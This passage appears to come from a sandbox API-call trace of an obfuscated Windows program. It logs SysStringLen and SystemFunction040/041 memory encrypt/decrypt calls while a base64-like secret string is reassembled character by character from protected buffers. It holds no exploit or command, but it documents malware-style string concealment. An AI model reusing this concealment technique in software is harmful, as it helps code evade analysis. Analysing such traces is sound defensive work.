SysStringLen (param_1="뙭堦謙㯩鋌輸臧") returned 0x8 [0245.550] SysStringLen (param_1="뙭堦謙㯩鋌輸臧") returned 0x10 [0245.550] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.550] SysStringLen (param_1="Kyjdz6eSY悳ﱰ脧ᤣ䕐ﱋ䳜") returned 0x10 [0245.550] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.550] SysStringLen (param_1="뙭堦謙㯩鋌輸臧澼듖绮㾣袓誟迋ꉵ") returned 0x10 [0245.551] SysStringLen (param_1="뙭堦謙㯩鋌輸臧澼듖绮㾣袓誟迋ꉵ") returned 0x10 [0245.551] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.551] SysStringLen (param_1="Kyjdz6eSYwﱰ脧ᤣ䕐ﱋ䳜") returned 0x10 [0245.551] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.551] SysStringLen (param_1="뙭堦謙㯩鋌輸臧밓١曼꘺꙲顀ໟ権") returned 0x10 [0245.551] SysStringLen (param_1="뙭堦謙㯩鋌輸臧밓١曼꘺꙲顀ໟ権") returned 0x10 [0245.551] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.551] SysStringLen (param_1="Kyjdz6eSYwh脧ᤣ䕐ﱋ䳜") returned 0x10 [0245.551] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.551] SysStringLen (param_1="뙭堦謙㯩鋌輸臧ꮷ͏৤쪱ỳ䐵") returned 0x10 [0245.551] SysStringLen (param_1="뙭堦謙㯩鋌輸臧ꮷ͏৤쪱ỳ䐵") returned 0x10 [0245.551] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.552] SysStringLen (param_1="Kyjdz6eSYwhvᤣ䕐ﱋ䳜") returned 0x10 [0245.552] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.552] SysStringLen (param_1="뙭堦謙㯩鋌輸臧韍⌲除ᄷ뺷鲼엁넶") returned 0x10 [0245.552] SysStringLen (param_1="뙭堦謙㯩鋌輸臧韍⌲除ᄷ뺷鲼엁넶") returned 0x10 [0245.552] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.552] SysStringLen (param_1="Kyjdz6eSYwhvv䕐ﱋ䳜") returned 0x10 [0245.552] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.552] SysStringLen (param_1="뙭堦謙㯩鋌輸臧粄螞ꌄ꼚妵ሬ螫鴠") returned 0x10 [0245.552] SysStringLen (param_1="뙭堦謙㯩鋌輸臧粄螞ꌄ꼚妵ሬ螫鴠") returned 0x10 [0245.552] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.552] SysStringLen (param_1="Kyjdz6eSYwhvvxﱋ䳜") returned 0x10 [0245.552] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.553] SysStringLen (param_1="뙭堦謙㯩鋌輸臧魬ﻥ⍶茉鴻") returned 0x10 [0245.553] SysStringLen (param_1="뙭堦謙㯩鋌輸臧魬ﻥ⍶茉鴻") returned 0x10 [0245.553] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.553] SysStringLen (param_1="Kyjdz6eSYwhvvxa䳜") returned 0x10 [0245.553] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.553] SysStringLen (param_1="뙭堦謙㯩鋌輸臧ˆ쌔讜댷⮠팖勺굣") returned 0x10 [0245.553] SysStringLen (param_1="뙭堦謙㯩鋌輸臧ˆ쌔讜댷⮠팖勺굣") returned 0x10 [0245.553] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.553] SysStringLen (param_1="Kyjdz6eSYwhvvxaz") returned 0x10 [0245.553] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.553] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐≂) returned 0x10 [0245.554] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐≂) returned 0x10 [0245.554] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐≂) returned 0x10 [0245.554] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐≂) returned 0x18 [0245.554] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.554] SysStringLen (param_1="Kyjdz6eSYwhvvxazz綳궐㧙殞Ὼ揿迮") returned 0x18 [0245.554] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.554] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐쉂쿀狫疮Γ\軜ꀺ濹") returned 0x18 [0245.554] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐쉂쿀狫疮Γ\軜ꀺ濹") returned 0x18 [0245.554] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.555] SysStringLen (param_1="Kyjdz6eSYwhvvxazza궐㧙殞Ὼ揿迮") returned 0x18 [0245.555] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.555] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐腂挟邊緩䚜∛) returned 0x18 [0245.555] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐腂挟邊緩䚜∛) returned 0x18 [0245.555] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.555] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaB㧙殞Ὼ揿迮") returned 0x18 [0245.555] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.555] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐穛ၽ鷍蝭珽뷋≊) returned 0x18 [0245.555] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐穛ၽ鷍蝭珽뷋≊) returned 0x18 [0245.555] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.555] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBM殞Ὼ揿迮") returned 0x18 [0245.555] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐᥂梹뢨昩팢픿㳵⊭) returned 0x18 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐᥂梹뢨昩팢픿㳵⊭) returned 0x18 [0245.556] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.556] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMnῺ揿迮") returned 0x18 [0245.556] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐嵂Ͷ磙缊֬聎\眗") returned 0x18 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐嵂Ͷ磙缊֬聎\眗") returned 0x18 [0245.556] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.556] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0揿迮") returned 0x18 [0245.556] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐筂뽔꾲ᯂ炞悝∴) returned 0x18 [0245.556] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐筂뽔꾲ᯂ炞悝∴) returned 0x18 [0245.556] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.557] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0b迮") returned 0x18 [0245.557] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.557] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐\\⥁흟됡澬䁮깽⊷) returned 0x18 [0245.557] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐\\⥁흟됡澬䁮깽⊷) returned 0x18 [0245.557] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.557] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bs") returned 0x18 [0245.557] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.557] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂⋊) returned 0x18 [0245.557] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂⋊) returned 0x18 [0245.557] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂⋊) returned 0x18 [0245.558] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂⋊) returned 0x20 [0245.558] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.558] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bss䁮爯볤襽笥㄰޼") returned 0x20 [0245.558] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.558] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\檣\蛜鋔壸쫯ﶴ≷) returned 0x20 [0245.558] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\檣\蛜鋔壸쫯ﶴ≷) returned 0x20 [0245.558] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.558] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssO爯볤襽笥㄰޼") returned 0x20 [0245.558] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂哊ꘫ躳蒼뻇咋꫎∸) returned 0x20 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂哊ꘫ躳蒼뻇咋꫎∸) returned 0x20 [0245.559] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.559] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJ볤襽笥㄰޼") returned 0x20 [0245.559] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂쳊ꖼႷ频퐩䩖㣸㇍∦) returned 0x20 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂쳊ꖼႷ频퐩䩖㣸㇍∦) returned 0x20 [0245.559] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.559] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJy襽笥㄰޼") returned 0x20 [0245.559] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂꫊൲怵遄ˋ샄᮶∈) returned 0x20 [0245.559] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂꫊൲怵遄ˋ샄᮶∈) returned 0x20 [0245.559] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.560] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyK笥㄰޼") returned 0x20 [0245.560] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.560] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂篊錚悳篴뭳摍搖⋻) returned 0x20 [0245.560] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂篊錚悳篴뭳摍搖⋻) returned 0x20 [0245.560] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.560] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKz㄰޼") returned 0x20 [0245.560] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.560] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂迊垰ỵ᫯靯醼嶐⋰) returned 0x20 [0245.560] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂迊垰ỵ᫯靯醼嶐⋰) returned 0x20 [0245.560] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.560] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO޼") returned 0x20 [0245.560] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.561] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂壊혯谛襤交ॠ㗋圫⊺) returned 0x20 [0245.561] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂壊혯谛襤交ॠ㗋圫⊺) returned 0x20 [0245.561] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.561] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2") returned 0x20 [0245.561] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.561] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄") returned 0x20 [0245.561] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄") returned 0x20 [0245.561] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄") returned 0x20 [0245.562] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄") returned 0x28 [0245.562] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.562] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2F浀ߧ肷\鿝岤砀㜀昀∀) returned 0x28 [0245.562] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.562] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䯦⚑釨㳆睲떰䉹") returned 0x28 [0245.562] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䯦⚑釨㳆睲떰䉹") returned 0x28 [0245.562] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.562] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNߧ肷\鿝岤砀㜀昀∀) returned 0x28 [0245.562] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.562] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄ᯩ⟴懟쒁硧얼德걠") returned 0x28 [0245.562] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄ᯩ⟴懟쒁硧얼德걠") returned 0x28 [0245.562] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.562] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNb肷\鿝岤砀㜀昀∀) returned 0x28 [0245.563] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄㷥뭑讉❻쇪鉺봒毴") returned 0x28 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄㷥뭑讉❻쇪鉺봒毴") returned 0x28 [0245.563] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.563] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbU肷\鿝岤砀㜀昀∀) returned 0x28 [0245.563] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄푸䴭膚됂⛖蝡쬣") returned 0x28 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄푸䴭膚됂⛖蝡쬣") returned 0x28 [0245.563] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.563] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUP\鿝岤砀㜀昀∀) returned 0x28 [0245.563] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄⪬緹ဍ뗣燀韗՞") returned 0x28 [0245.563] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄⪬緹ဍ뗣燀韗՞") returned 0x28 [0245.563] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.564] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa꒟\x7f") returned 0x28 [0245.564] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.564] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄ᕅ侚㊐ꀳﾢ챊ᜟ") returned 0x28 [0245.564] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄ᕅ侚㊐ꀳﾢ챊ᜟ") returned 0x28 [0245.564] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.564] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9\x7f") returned 0x28 [0245.564] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.564] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄鏮溄䵢尷㈸蚼뢓㯻") returned 0x28 [0245.564] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄鏮溄䵢尷㈸蚼뢓㯻") returned 0x28 [0245.564] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.564] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9E") returned 0x28 [0245.564] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.565] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑") returned 0x28 [0245.565] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑") returned 0x28 [0245.565] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑") returned 0x28 [0245.565] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑") returned 0x30 [0245.565] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9EF⯏ᖊ骑ẖ") returned 0x30 [0245.566] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑旲䔝䢨僩톱ҡꍈ⮓") returned 0x30 [0245.566] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑旲䔝䢨僩톱ҡꍈ⮓") returned 0x30 [0245.566] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9EF2ᖊ骑ẖ") returned 0x30 [0245.566] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑⋏Ⓔ밴잆ꢆ콺") returned 0x30 [0245.566] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑⋏Ⓔ밴잆ꢆ콺") returned 0x30 [0245.566] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9EF2Yᖊ骑ẖ") returned 0x30 [0245.566] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.566] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑噞㓞⛂鞫Ⳉ젗ळ") returned 0x30 [0245.567] SysStringLen (param_1="뙭堦謙㯩鋌輸臧㋝䔦\៚熃藠販픐ൂﮋ䙸⨅鈆娂䏍蝂\翟嗕炎吡୘毼ퟬ쵄䢅ፚ臁꽄ᅾ壯淥⤑噞㓞⛂鞫Ⳉ젗ळ") returned 0x30 [0245.567] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.567] SysStringLen (param_1="Kyjdz6eSYwhvvxazzaBMn0bssOJyKzO2FNbUPa9EF2Y=骑ẖ") returned 0x30 [0245.567] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0245.567] EtwEventActivityIdControl () returned 